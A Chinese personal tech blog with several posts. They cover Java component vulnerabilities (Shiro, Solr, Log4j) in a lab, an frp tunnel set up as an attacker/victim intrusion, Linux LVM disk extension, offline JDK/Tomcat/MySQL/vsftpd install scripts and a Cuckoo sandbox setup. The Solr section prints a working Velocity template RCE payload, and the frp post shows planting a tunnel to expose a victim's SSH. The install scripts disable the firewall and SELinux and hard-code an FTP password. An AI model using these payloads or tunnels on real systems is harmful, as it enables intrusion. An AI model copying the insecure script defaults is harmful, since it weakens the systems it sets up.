欢迎来到我的博客

java 开发组件安全

Sun, 16 Nov 2025 15:29:14 +0800

在Java应用程序开发中，开发者通常会集成第三方组件来实现特定功能模块，例如：

全文检索功能 - Apache Solr
身份认证与授权 - Apache Shiro
日志记录管理 - Log4j
JSON数据处理 - Jackson/Fastjson（支持序列化与反序列化）

漏洞复现环境使用vulfocus靶场。

搭建流程：

使用ubuntu拉取docker镜像方式运行：

#镜像拉取命令：
docker pull swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/vulfocus/vulfocus:latest

#运行镜像 服务开放在服务器8181端口：
docker run -d --name vulfocus -p 8181:80 swr.cn-north-4.myhuaweicloud.com/ddn-k8s/docker.io/vulfocus/vulfocus:latest

默认用户名密码admin:admin

Shiro组件漏洞：

组件特征：服务器响应包返回rememberMe=deleteMe

CVE-2016-4437 - Shiro550

Apache Shiro 1.2.4及以前版本中

漏洞产生原理：Shiro 框架提供了一个RememberMe功能，允许用户在下次访问时无需重新登录。这个功能通过在Cookie中设置一个rememberMe字段来实现。 Shiro在处理rememberMe字段时，会先进行Base64解码，然后使用AES解密，最后反序列化。然而Shiro的默认AES密钥是硬编码在框架中的。

使用shiro反序列化工具。

Shiro721

Apache Shiro 1.4.1及以前版本中

Shiro721与Shiro550的主要区别，在于Shiro550使用已知默认密码，只要有足够的密码，不需要Remember Cookie。Shiro721的ase加密的key为系统随机生成，Shiro 允许自定义 AES 密钥，但加密模式（CBC）存在 Padding Oracle 漏洞。通过Padding Oracle Attack漏洞，需要利用登录后的rememberMe发送构造好的测试rememberMe Cookie，利用服务器的错误响应（如 500 vs 200）从而达到爆破 AES 密钥。或者从泄露信息或者内存中读出key值之后和Shiro550的利用方法一样。

shiro还存在其他权限绕过的漏洞

在1.5.3及其之前的版本

（cve_2020_11989）（ CVE-2020-1957）（cve_2020_13933）

Solr组件漏洞：

solr的漏洞大致分为两个方向

CVE-2019-17558(RCE)

漏洞版本范围：Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能，利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

POST /solr/demo/config HTTP/1.1
Host: 123.58.224.8:49252


{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

注入Velocity模板即可执行任意命令

/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20/tmp%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

修改命令执行shell

CVE-2021-27905(SSRF)

漏洞版本范围：Apache Solr 版本<= 8.8.1

利用条件有一定前提

Log4j组件漏洞：

log4j反序列化漏洞(CVE-2021-44228)

影响范围：

Log4j 1.x 用户应升级到1.2.18或更高版本。
Log4j 2.x 用户应升级到2.15.0或更高版本。

服务器运行jndi漏洞工具:

开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包导致远程加载服务器上的恶意类，最终触发远程代码执行。

log4j漏洞点是，什么东西会被日志写入，点就在哪里（如下案例：漏洞存在在 X-Api-Version：字段中）

Jackson/Fastjson

linux磁盘拓展

Sun, 16 Nov 2025 15:09:06 +0800

linux磁盘分为物理盘和逻辑盘，可以通过挂载操作将物理盘的空间拓展到逻辑盘中。

步骤 1：检查当前 LVM 状态

sudo pvdisplay    # 查看物理卷（PV）

--- Physical volume ---

PV Name /dev/sda3

VG Name ubuntu-vg

PV Size <98.00 GiB / not usable 0

Allocatable yes (but full)

PE Size 4.00 MiB

Total PE 25087

Free PE 0

Allocated PE 25087

PV UUID JHy9yT-0nox-XO3s-npPX-9gus-Hg4y-ZAgeEK

sudo vgdisplay    # 查看卷组（VG）

--- Volume group ---

VG Name ubuntu-vg

System ID

Format lvm2

Metadata Areas 1

Metadata Sequence No 3

VG Access read/write

VG Status resizable

MAX LV 0

Cur LV 1

Open LV 1

Max PV 0

Cur PV 1

Act PV 1

VG Size <98.00 GiB

PE Size 4.00 MiB

Total PE 25087

Alloc PE / Size 25087 / <98.00 GiB

Free PE / Size 0 / 0

VG UUID NrhLNt-fRv4-BQQ4-jTq0-YsMn-uluU-tfuk1X

sudo lvdisplay    # 查看逻辑卷（LV）

--- Logical volume ---

LV Path /dev/ubuntu-vg/ubuntu-lv

LV Name ubuntu-lv

VG Name ubuntu-vg

LV UUID HdVniS-7Tpe-GHaV-9LZp-SMPc-G6vV-2TBJQP

LV Write Access read/write

LV Creation host, time ubuntu-server, 2025-10-19 06:51:33 +0000

LV Status available

# open 1

LV Size <98.00 GiB

Current LE 25087

Segments 1

Allocation inherit

Read ahead sectors auto

- currently set to 256

Block device 253:0

步骤 2：初始化 /dev/sdc 为物理卷（PV）（根据lsblk获得物理盘名称）

sudo pvcreate /dev/sdc

步骤 3：将 /dev/sdc 添加到 ubuntu-vg 卷组

sudo vgextend ubuntu-vg /dev/sdc

步骤 4：扩展逻辑卷 ubuntu-lv

sudo lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv

如果物理盘的一部分空间挂载到逻辑盘中，拓展空间直接从此步骤开始即可。

步骤 5：调整文件系统大小

如果是 ext4（默认）：
sudo resize2fs /dev/ubuntu-vg/ubuntu-lv
如果是 xfs：
sudo xfs_growfs /

步骤 6：验证扩展结果

df -h /          # 检查 `/` 的总大小
lsblk            # 查看所有磁盘和 LVM 结构
sudo pvdisplay   # 确认 `/dev/sdc` 已被使用

最强内网穿透服务【frp】搭建教程

Wed, 16 Jul 2025 14:17:18 +0800

友情引用链接：https://juejin.cn/post/7503111373469368329 （写的很棒）

从0搭建配置frp隧道：

隧道原理图解：

隧道项目安装包：

https://github.com/fatedier/frp

☁️ Linux云服务器：选择frp_*_linux_amd64.tar.gz

💻 windos本地开发机：选择frp_*_windows_amd64.zip

# 直接下载+解压（版本号可替换）
curl -L https://github.com/fatedier/frp/releases/download/v0.62.1/frp_0.62.1_linux_amd64.tar.gz | tar -xz

下载工具文件目录：

frp_0.52.3_linux_amd64/
├── frps          # 服务端核心程序（Server）
├── frps.toml     # 服务端配置文件
├── frpc          # 客户端核心程序（Client）
├── frpc.toml     # 客户端配置文件
└── LICENSE       # 开源协议

重点文件介绍：（四个文件包含两个配置文件【客户端、服务器端】，两个程序文件【客户端、服务器端】）

服务端一套文件（攻击者配置使用）：
frps：穿透服务的"大脑"，负责接收和路由所有外部请求
frps.toml：服务配置中枢（相当于大脑的"使用说明书"）
客户端一套文件（受害者配置使用）：
frpc：连接服务的"使者"，建立与服务器的安全隧道
frpc.toml：客户端配置指南（使者的"任务清单"）

公网用户 → [ frps 服务端 ] ←→ [ frpc 客户端 ] → 你的本地服务          
        (云服务器)         (加密隧道)       (192.168.x.x)

配置过程：

演示机器：

Ubuntu Linux：192.168.2.156（攻击者）
Rocky Linux：192.168.2.135（被攻击者）

文件上传到对应机器上：

rocky受害者：

受控机器文件目录：

[root@34root ftpc_beikong]# ls
frpc  frpc.toml

配置文件信息:

[root@34root ftpc_beikong]# cat frpc.toml 
# 可以参考官方配置frpc_full_example.toml，里面有详细配置说明
# https://github.com/fatedier/frp/blob/405969085fb6b5c8058c88ca250e930ba6092153/conf/frpc_full_example.toml

# 填写你的frps server的ip 和 port
serverAddr = "192.168.2.156"
serverPort = 17000

# 配置 token 认证，frpc 客户端需指定frps一样的token
auth.method = "token"
auth.token = "ceshi123"

# 在 frp 中，一个代理对应一个需要公开访问的内网服务。
# 一个客户端可以同时配置多个代理，以满足不同的需求。
# 下面配置的是将 win10 远程桌面暴露到 frps_ip 60002端口上
[[proxies]]
name = "rizx-ssh"             # 代理名称（可自定义）
type = "tcp"                  # SSH 使用 TCP 协议
localIP = "127.0.0.1"         # 本地 SSH 服务地址
localPort = 22                # 本地 SSH 端口（默认 22）
remotePort = 60022            # 外网访问的端口（可自定义）

ubuntu攻击者：

攻击者机器文件目录：

root@lyxserver:/home/ubuntu/ftp# ls
frps  frps.toml

配置文件信息：

root@lyxserver:/home/ubuntu/ftp# cat frps.toml 
# 可以参考官方配置frps_full_example.toml，里面有详细配置说明
# https://github.com/fatedier/frp/blob/405969085fb6b5c8058c88ca250e930ba6092153/conf/frps_full_example.toml

#frps监听端口
bindPort = 17000

# 配置 frp dashboard
webServer.addr = "0.0.0.0"
webServer.port = 7500
webServer.user = "admin"
webServer.password = "ceshi"

# 配置 token 认证，frpc 客户端也需指定一样的token
auth.method = "token"
auth.token = "ceshi123"

# 只允许frpc绑定指定ports. 
# allowPorts = [
#   { start = 6000, end = 6050 }
# ]

运行过程：

Ubuntu服务器端：

ubuntu@lyxserver:~/ftp$ chmod 700 frps
ubuntu@lyxserver:~/ftp$ ls
frps  frps.toml
ubuntu@lyxserver:~/ftp$ ./frps -c frps.toml 
2025-07-16 05:13:52.520 [I] [frps/root.go:105] frps uses config file: frps.toml
2025-07-16 05:13:52.864 [I] [server/service.go:237] frps tcp listen on 0.0.0.0:17000
2025-07-16 05:13:52.864 [I] [frps/root.go:114] frps started successfully
2025-07-16 05:13:52.864 [I] [server/service.go:351] dashboard listen on 0.0.0.0:7500

浏览器登录后台控制页面

出现监控页面代表服务器端配置成功，如果出现如图的连接记录，代表受害者已经成功上线，内网设备已经被穿透出网。

Rocky被害者植入隧道

[root@lyx ftpc_beikong]# ./frpc -c frpc.toml 
2025-06-29 16:19:12.964 [I] [sub/root.go:149] start frpc service for config file [frpc.toml]
2025-06-29 16:19:12.964 [I] [client/service.go:314] try to connect to server...
2025-06-29 16:19:12.968 [I] [client/service.go:306] [1505cb8206d24d46] login to server success, get run id [1505cb8206d24d46]
2025-06-29 16:19:12.969 [I] [proxy/proxy_manager.go:177] [1505cb8206d24d46] proxy added: [rizx-ssh]
2025-06-29 16:19:12.970 [I] [client/control.go:172] [1505cb8206d24d46] [rizx-ssh] start proxy success

显示配置成功，隧道配置成功开干。

结果展示：

攻击者Ubuntu网络情况：

root@lyxserver:~# netstat -tupln
激活Internet连接 (仅服务器)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN      2999/sshd: ubuntu@p 
tcp        0      0 127.0.0.1:6011          0.0.0.0:*               LISTEN      5442/sshd: ubuntu@p 
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      1371/postgres       
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      1254/cupsd          
tcp        0      0 0.0.0.0:22767           0.0.0.0:*               LISTEN      2039/python3        
tcp        0      0 0.0.0.0:888             0.0.0.0:*               LISTEN      1245/nginx: master  
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1245/nginx: master  
tcp        0      0 0.0.0.0:53              0.0.0.0:*               LISTEN      1256/dnsmasq        
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1351/sshd: /usr/sbi 
tcp6       0      0 :::3306                 :::*                    LISTEN      2022/mysqld         
tcp6       0      0 :::7500                 :::*                    LISTEN      5510/./frps         
tcp6       0      0 :::60022                :::*                    LISTEN      5510/./frps         
tcp6       0      0 ::1:6011                :::*                    LISTEN      5442/sshd: ubuntu@p 
tcp6       0      0 ::1:6010                :::*                    LISTEN      2999/sshd: ubuntu@p 
tcp6       0      0 :::17000                :::*                    LISTEN      5510/./frps         
tcp6       0      0 :::53                   :::*                    LISTEN      1256/dnsmasq        
tcp6       0      0 :::22                   :::*                    LISTEN      1351/sshd: /usr/sbi 
tcp6       0      0 ::1:631                 :::*                    LISTEN      1254/cupsd          
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           1111/avahi-daemon:  
udp        0      0 0.0.0.0:53              0.0.0.0:*                           1256/dnsmasq        
udp        0      0 192.168.2.156:68        0.0.0.0:*                           1097/systemd-networ 
udp        0      0 0.0.0.0:57732           0.0.0.0:*                           1111/avahi-daemon:  
udp6       0      0 :::5353                 :::*                                1111/avahi-daemon:  
udp6       0      0 :::55221                :::*                                1111/avahi-daemon:  
udp6       0      0 :::53                   :::*                                1256/dnsmasq

攻击结果：（192.168.2.1通过访问192.168.2.156:60022登录192.168.2.135的ssh）

内网端口映射成功！

内网无法联网情况部署服务

Wed, 21 May 2025 14:36:50 +0800

Rocky Linux8.10 部署服务

web服务器：JDK+tomcat

数据库服务器：mysql

应用服务：ftp

web服务器部署

tomcat (java编写)部署需要依赖java环境

安装JDK

1、下载JDK链接 tar包下载后通过xftp拖到机器内

2、jdk安装shell脚本：

#!/bin/bash
# 版本: JDK_8u431_X86_64
# name: lyx
# 功能: 自动安装 Oracle JDK 8u431 并配置环境变量
# 使用方法: 直接运行脚本，按提示输入 JDK 安装包路径

# 日志文件路径
LOG_FILE="/var/log/jdk_install.log"
# 将所有输出记录到日志文件
exec > >(tee -a "$LOG_FILE") 2>&1
echo "JDK 安装开始于 $(date)"

# 提示用户输入 JDK 安装包路径
read -p "请输入 jdk-8u431-linux-x64.tar.gz 的完整路径: " JDK_PKG

# 检查文件是否存在
if [ ! -f "$JDK_PKG" ]; then
    echo "错误: 在路径 $JDK_PKG 未找到 JDK 安装包！"
    exit 1
fi

# 关闭防火墙
echo -e "正在关闭 firewalld...\n"
systemctl disable firewalld && systemctl stop firewalld

# 禁用 SELinux
echo -e "正在禁用 SELinux...\n"
SESTATUS=$(grep -i '^SELINUX=' /etc/selinux/config | awk -F"=" '{print $2}')
if [ "${SESTATUS}" != "disabled" ]; then
    sed -i "s/SELINUX=enforcing/SELINUX=disabled/g" /etc/selinux/config
    echo "SELinux 将在重启后生效。"
fi

# 移除 OpenJDK（如果存在）
echo -e "正在移除 OpenJDK...\n"
rpm -e --nodeps $(rpm -qa | grep openjdk) 2>/dev/null

# 安装 JDK
echo -e "正在从 $JDK_PKG 安装 JDK 8u431...\n"
tar -zxvf "$JDK_PKG" -C /usr/local/
if [ $? -ne 0 ]; then
    echo "解压 JDK 失败！"
    exit 1
fi
mv /usr/local/jdk1.8.0_431 /usr/local/jdk

# 配置环境变量
echo -e "正在配置环境变量...\n"
grep "JAVA_HOME=/usr/local/jdk" /etc/profile >/dev/null
if [ $? -ne 0 ]; then
    cat >>/etc/profile << EOF
export JAVA_HOME=/usr/local/jdk
export PATH=\$JAVA_HOME/bin:\$PATH
export CLASSPATH=.:\$JAVA_HOME/lib/dt.jar:\$JAVA_HOME/lib/tools.jar
EOF
fi

# 创建软链接并重新加载配置
ln -sf /usr/local/jdk/bin/java /usr/bin/java
source /etc/profile

# 验证安装
java -version
if [ $? -ne 0 ]; then
    echo "JDK 安装失败！"
    exit 1
fi

echo -e "\nJDK 安装成功！"
echo "JAVA_HOME: $JAVA_HOME"
echo "Java 版本: $(java -version 2>&1 | head -1)"

./jdk_start.sh /data01/anzhuang/jdk-8u431-linux-x64.tar.gz

安装tomcat

1、下载tar包，上传tar包

2、运行脚本安装：

#!/bin/bash
# Author: lyx
# 使用范围: 适用于已安装 JDK 8u431 并已下载 Tomcat tar 包
# 使用方法: sudo ./install_tomcat.sh /path/to/apache-tomcat-x.x.x.tar.gz

# 检查是否以 root 运行
if [ "$(id -u)" -ne 0 ]; then
    echo "错误：请使用 root 用户或 sudo 运行此脚本！"
    exit 1
fi

# 检查是否传入 Tomcat tar 包路径
if [ -z "$1" ]; then
    echo "用法: $0 /path/to/apache-tomcat-x.x.x.tar.gz"
    exit 1
fi

TOMCAT_TAR_PATH="$1"
INSTALL_DIR="/data01/tomcat"

# 检查 JDK 8u431 是否安装
echo "检查 JDK 8u431 是否安装..."
JAVA_VERSION=$(java -version 2>&1 | grep -oP 'version "\K1\.8\.0_431')
if [ "$JAVA_VERSION" != "1.8.0_431" ]; then
    echo "错误：未检测到 JDK 8u431，请先安装！"
    exit 1
fi
echo "✓ JDK 8u431 已安装。"

# 检查 Tomcat tar 包是否存在
if [ ! -f "$TOMCAT_TAR_PATH" ]; then
    echo "错误：Tomcat tar 包不存在: $TOMCAT_TAR_PATH"
    exit 1
fi

# 创建 /data01 目录（如果不存在）
mkdir -p /data01
cd /data01

# 解压 Tomcat
echo "解压 Tomcat 到 $INSTALL_DIR..."
rm -rf "$INSTALL_DIR"  # 如果之前安装过，先删除旧版本
tar -zxvf "$TOMCAT_TAR_PATH" -C /data01
mv "/data01/apache-tomcat-"* "$INSTALL_DIR"

# 配置环境变量
echo "配置 CATALINA_HOME 环境变量..."
if ! grep -q "CATALINA_HOME" /etc/profile; then
    cat >> /etc/profile <<EOF
export CATALINA_HOME=${INSTALL_DIR}
export PATH=\$CATALINA_HOME/bin:\$PATH
EOF
    source /etc/profile
fi


# 开放防火墙（可选）
if command -v firewall-cmd &>/dev/null; then
    echo "开放防火墙 8080 端口..."
    firewall-cmd --permanent --add-port=8080/tcp
    firewall-cmd --reload
fi

#开启 Tomcat 服务
sh /data01/tomcat/bin/startup.sh

# 验证安装
echo "验证 Tomcat 是否启动..."
sleep 5  # 等待 Tomcat 启动
if curl -s http://localhost:8080 | grep -q "Apache Tomcat"; then
    echo -e "\n✓ Tomcat 安装成功！"
    echo "安装目录: $INSTALL_DIR"
    echo "管理命令: systemctl [start|stop|restart|status] tomcat"
    echo "访问地址: http://服务器IP:8080"
else
    echo "错误：Tomcat 启动失败，请检查日志: $INSTALL_DIR/logs/catalina.out"
    exit 1
fi

echo 'tomcat启动命令 sh /data01/tomcat/bin/startup.sh'
echo 'tomcat关闭命令 sh /data01/tomcat/bin/shutdown.sh'

3、运行脚本安装：./tomcat_start.sh /data01/anzhuang/apache-tomcat-9.0.97.tar.gz

安装mysql服务

1、下载tar包，上传tar包

2、运行脚本安装：

#!/bin/bash
#Description : MySQL8.4.4 Install Script （tar双加载）
#Author      : lyx 
#Version     : 3.0
### 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
NC='\033[0m' # No Color

function MySQL_cnf(){
    cd /root
cat > ./my.cnf <<'EOF'
[mysqld]
user = mysql
port = 3306
basedir = /home/mysql/mysqlbase/mysql-8.4.4
datadir = /home/mysql/data
socket  = /home/mysql/mysqlbase/mysql.sock
pid_file = dms-mysql.pid
skip_name_resolve = 1
open_files_limit = 65535
default_time_zone = "+8:00"
#character
character-set-server=utf8mb4
collation-server=utf8mb4_general_ci
init-connect='SET NAMES utf8mb4'
[client]
default-character-set=utf8mb4
port = 3306
socket = /home/mysql/mysqlbase/mysql.sock
[mysqldump]
quick
[mysql]
no_auto_rehash
loose-skip-binary-as-hex
EOF
}

function MySQL_User() {
    id mysql >/dev/null 2>&1
    if [ "$?" != "0" ]; then
        useradd -s /sbin/nologin mysql >/dev/null 2>&1
    fi
}

function Create_DIR() {
    DIRECTORY=("/home/mysql/data" "/home/mysql/mysqlbase" "/home/mysql/mysqllog")
    for i in "${DIRECTORY[@]}"; do
        if [ ! -d "${i}" ]; then
            mkdir -p "${i}"
        fi
    done
}

function DOWNLOAD_MYSQL() {

    echo_color "$YELLOW" "请选择 MySQL tar 包获取方式："
    echo "1) 自动下载 (wget)"
    echo "2) 指定本地 tar 包路径"
    read -p "请输入选项 [1/2]: " choice

    case "$choice" in
        1)
            echo "Downloading MySQL 8.4.4..."
            wget https://dev.mysql.com/get/Downloads/MySQL-8.4/mysql-8.4.4-linux-glibc2.28-x86_64.tar.xz -P /root/
            if [ "$?" != "0" ]; then
                echo "Failed to download MySQL 8.4.4."
                exit 1
            fi
            ;;
        2)
            read -p "请输入本地 tar 包的完整路径: " local_tar
            if [ -f "$local_tar" ]; then
                TAR_SOURCE="$local_tar"
                mv $local_tar /root/
            else
                echo_color "$RED" "错误: 文件不存在，请检查路径。"
                exit 1
            fi
            ;;
        *)
            echo_color "$RED" "无效选项，退出脚本。"
            exit 1
            ;;
    esac
}

function INSTALL() {
    chown -R mysql:mysql /home/mysql/{data,mysqlbase,mysqllog}
    tar -xvf /root/mysql-8.4.4-linux-glibc2.28-x86_64.tar.xz -C /home/mysql/mysqlbase
    mv /home/mysql/mysqlbase/mysql-8.4.4-linux-glibc2.28-x86_64 /home/mysql/mysqlbase/mysql-8.4.4
    /home/mysql/mysqlbase/mysql-8.4.4/bin/mysqld --initialize --user=mysql --basedir=/home/mysql/mysqlbase/mysql-8.4.4/ --datadir=/home/mysql/data/
    if [ "$?" != "0" ]; then
        echo "An error occurs during the installation of the MySQL Database Service."
        exit 1
    fi
    if [ -f /etc/my.cnf ]; then
        rm -rf /etc/my.cnf
    fi
    mv /root/my.cnf /etc/
    if [ -f /etc/init.d/mysqld ]; then
        rm -rf /etc/init.d/mysqld
    fi
    cp /home/mysql/mysqlbase/mysql-8.4.4/support-files/mysql.server /etc/init.d/mysqld
    if [ ! -f /usr/bin/mysql ]; then
        ln -s /home/mysql/mysqlbase/mysql-8.4.4/bin/mysql /usr/bin/mysql
    fi
}

function MYSQL_LOG() {
    MYSQL_LOG=("/home/mysql/mysqllog/error_log" "/home/mysql/mysqllog/mybinlog")
    for j in "${MYSQL_LOG[@]}"; do
        if [ ! -d "${j}" ]; then
            mkdir -p "${j}"
        fi
    done
    touch /home/mysql/mysqllog/error_log/error.log
    touch /home/mysql/mysqllog/mysql-slow.log
    chown -R mysql:mysql /home/mysql/mysqllog
}

function MYSQL_START() {
    /etc/init.d/mysqld start
    sleep 5
    if [ "$?" != "0" ]; then
        echo "MySQL Service Running Is Error."
        exit 1
    else
        echo "MySQL Service Running Is Successful."
    fi
}

function CLEAR_tat() {
    cd /root
    rm -rf mysql-8.4.4-linux-glibc2.28-x86_64.tar.xz
        if [ "$?" != "0" ]; then
        echo "MySQL tar clear Successful"
    else
        echo "MySQL tar no clear"
        exit 1
    fi
}

function main() {
    MySQL_cnf
    MySQL_User
    Create_DIR
    DOWNLOAD_MYSQL
    INSTALL
    MYSQL_LOG
    MYSQL_START
    CLEAR_tat
}

main

3、运行脚本：

4、临时密码在运行结果中查看：

5、修改密码：

ALTER USER 'username'@'hostname' IDENTIFIED BY 'new_password';

安装FTP服务：

1、因为无法联网所有使用另一个可以联网的机器将需要的包下载打包

wget https://security.appspot.com/downloads/vsftpd-3.0.5.tar.gz
mkdir /tmp/ftp-deps
yum install --downloadonly --downloaddir=/tmp/ftp-deps vsftpd
yum install --downloadonly --downloaddir=/tmp/ftp-deps gcc make openssl-devel
tar czvf ftp-offline-install.tar.gz /tmp/ftp-deps vsftpd-3.0.5.tar.gz

然后将打好的包上传到内网服务器上

ftp-offline-install.tar.gz打包好的tar包和所需的rpm包

2、整合包放在/data01目录下

3、运行脚本：

#!/bin/bash
#zuozhe:lyx


# 定义变量
DEPENDENCY_DIR="/data01/ftp-deps"          # 依赖包存放目录
VSFTPD_SOURCE="/data01/vsftpd-3.0.5.tar.gz" # vsftpd 源码包路径
FTP_USER="ftpuser"                      # FTP 用户名
FTP_PASSWORD="123456"             # FTP 密码（建议安装后修改）


# 检查是否为 root 用户
if [ "$(id -u)" -ne 0 ]; then
    echo "错误：必须使用 root 用户运行此脚本！"
    exit 1
fi

#解包分解
cd /data01
tar -zxvf ftp-offline-install.tar.gz

# 步骤 1：安装依赖包
echo "正在安装依赖包..."
if [ -d "$DEPENDENCY_DIR" ]; then
    cd "$DEPENDENCY_DIR" || exit
    for rpm_pkg in *.rpm; do
        if [ -f "$rpm_pkg" ]; then
            rpm -ivh "$rpm_pkg" --nodeps --force
        fi
    done
else
    echo "错误：依赖包目录 $DEPENDENCY_DIR 不存在！"
    exit 1
fi

# 步骤 2：解压并编译 vsftpd
echo "正在编译安装 vsftpd..."
if [ -f "$VSFTPD_SOURCE" ]; then
    tar xzvf "$VSFTPD_SOURCE" -C /data01
    cd /data01/vsftpd-3.0.5 || exit
    make && make install
else
    echo "错误：vsftpd 源码包 $VSFTPD_SOURCE 不存在！"
    exit 1
fi

# 步骤 3：配置 vsftpd
echo "正在配置 vsftpd..."
cat > /etc/vsftpd.conf <<EOF
anonymous_enable=NO
local_enable=YES
write_enable=YES
local_umask=022
dirmessage_enable=YES
xferlog_enable=YES
listen=YES
EOF

# 步骤 4：创建 FTP 用户
echo "正在创建 FTP 用户 $FTP_USER..."
useradd -m "$FTP_USER"
echo "$FTP_USER:$FTP_PASSWORD" | chpasswd

# 步骤 5：设置 Systemd 服务
echo "正在配置 Systemd 服务..."
cat > /etc/systemd/system/vsftpd.service <<EOF
[Unit]
Description=VSFTPD Server
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/sbin/vsftpd /etc/vsftpd.conf
ExecStop=/bin/kill -9 \$MAINPID

[Install]
WantedBy=multi-user.target
EOF

# 重新加载 Systemd 并启动服务
systemctl daemon-reload
systemctl enable vsftpd
systemctl start vsftpd
#  删除包
rm -rf ftp-deps vsftpd-3.0.5
rm -rf ftp-offline-install.tar.gz vsftpd-3.0.5.tar.gz

# 检查服务状态
if systemctl is-active --quiet vsftpd; then
    echo "vsftpd 服务已成功启动！"
    echo "FTP 用户: $FTP_USER"
    echo "FTP 密码: $FTP_PASSWORD"
    echo "请运行 'passwd $FTP_USER' 修改默认密码。"
else
    echo "警告：vsftpd 服务启动失败，请手动检查！"
fi

4、运行

用户密码展示：

验证

ubuntu上安装cuckoo恶意软件检测系统

Sun, 11 May 2025 21:41:58 +0800

网上的一些教程写的太乱了，自己整理一下（也挺乱的O。o），使用系统（主ubuntu22.04.5 win7）不同的版本有微小差异

参考文章链接

https://www.cnblogs.com/drc01or/p/18303840#3%E9%85%8D%E7%BD%AEpython%E7%8E%AF%E5%A2%83

https://zhuanlan.zhihu.com/p/433899132

https://zhuanlan.zhihu.com/p/373773218

https://cloud.tencent.com.cn/developer/article/2425683

https://blog.csdn.net/zwjzone/article/details/137114806

配置主机ubuntu

ubuntu22.04版本

vm安装虚拟机，配置可视化操作界面（参考文章：https://zhuanlan.zhihu.com/p/373773218）

sudo -i #进入root权限内
sudo apt update && sudo apt upgrade  #更新系统包

下载桌面一键安装管理包

sudo apt install tasksel

安装tasksel桌面使用命令

sudo apt install ubuntu-desktop

安装和配置显示管理器

sudo apt install lightdm

选择lightdm 按enter.

启动显示管理器并加载 GUI

sudo service lightdm start

检查是否配置成功：3

cat /etc/X11/default-display-manager

reboot

重启

安装内容需要空间很大，进行扩容操作（https://cloud.tencent.com.cn/developer/article/2425683）

安装linux扩容工具

sudo apt-get install gparted -y

gparted

修改磁盘配置信息：

lsblk

输出：
NAME                      MAJ:MIN RM   SIZE RO TYPE MOUNTPOINTS
loop0                       7:0    0     4K  1 loop /snap/bare/5
loop1                       7:1    0  63.9M  1 loop /snap/core20/2318
loop2                       7:2    0  63.8M  1 loop /snap/core20/2571
loop3                       7:3    0  73.9M  1 loop /snap/core22/1963
loop4                       7:4    0 241.5M  1 loop /snap/firefox/6103
loop5                       7:5    0   516M  1 loop /snap/gnome-42-2204/202
loop6                       7:6    0  91.7M  1 loop /snap/gtk-common-themes/1535
loop7                       7:7    0    87M  1 loop /snap/lxd/29351
loop8                       7:8    0  89.4M  1 loop /snap/lxd/31333
loop9                       7:9    0  38.8M  1 loop /snap/snapd/21759
loop10                      7:10   0  50.9M  1 loop /snap/snapd/24505
sda                         8:0    0    60G  0 disk 
├─sda1                      8:1    0     1M  0 part 
├─sda2                      8:2    0     2G  0 part /boot
└─sda3                      8:3    0    58G  0 part 
  └─ubuntu--vg-ubuntu--lv 253:0    0    19G  0 lvm  /
sr0                        11:0    1     2G  0 rom  /media/ubuntu/Ubuntu-Server 22.04.5 LTS amd64

磁盘空间为分配到位

sudo lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv

lsblk查看结果：（修改部分）

sda                         8:0    0    60G  0 disk 
├─sda1                      8:1    0     1M  0 part 
├─sda2                      8:2    0     2G  0 part /boot
└─sda3                      8:3    0    58G  0 part 
  └─ubuntu--vg-ubuntu--lv 253:0    0    58G  0 lvm  /

sudo lvextend -L +10G /dev/ubuntu-vg/ubuntu-lv  # 增加10G
sudo resize2fs /dev/ubuntu-vg/ubuntu-lv         # 调整文件系统
sh

安装所需包：

安装python2.7

# 1. 安装 Python 2.7
sudo apt update
sudo apt install -y python2

# 2. 安装 pip（Python 2.7）
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -O
sudo python2 get-pip.py

# 安装 Python 2.7 的开发包（Ubuntu 20.04+ 可能需要）
sudo apt install -y python2-dev

# 安装其他依赖
sudo apt install -y libffi-dev libssl-dev libfuzzy-dev libtool flex autoconf libjansson-dev git

sudo apt-get install -y python-dev libffi-dev libssl-dev libfuzzy-dev libtool flex autoconf libjansson-dev git

安装mongodb

添加 MongoDB 官方 GPG 密钥

sudo apt update
sudo apt install -y gnupg curl
curl -fsSL https://www.mongodb.org/static/pgp/server-6.0.asc | sudo gpg --dearmor -o /usr/share/keyrings/mongodb.gpg

添加 MongoDB 官方仓库

echo "deb [arch=amd64,arm64 signed-by=/usr/share/keyrings/mongodb.gpg] https://repo.mongodb.org/apt/ubuntu $(lsb_release -cs)/mongodb-org/6.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-6.0.list

更新软件包列表并安装 MongoDB

sudo apt update
sudo apt install -y mongodb-org

启动 MongoDB 服务

sudo systemctl start mongod
sudo systemctl enable mongod

检查 MongoDB 是否运行

sudo systemctl status mongod

成功运行结果：

● mongod.service - MongoDB Database Server
     Loaded: loaded (/lib/systemd/system/mongod.service; enabled; vendor preset: enabled)
     Active: active (running) since Sun 2025-05-11 15:05:59 UTC; 6s ago
       Docs: https://docs.mongodb.org/manual
   Main PID: 9421 (mongod)
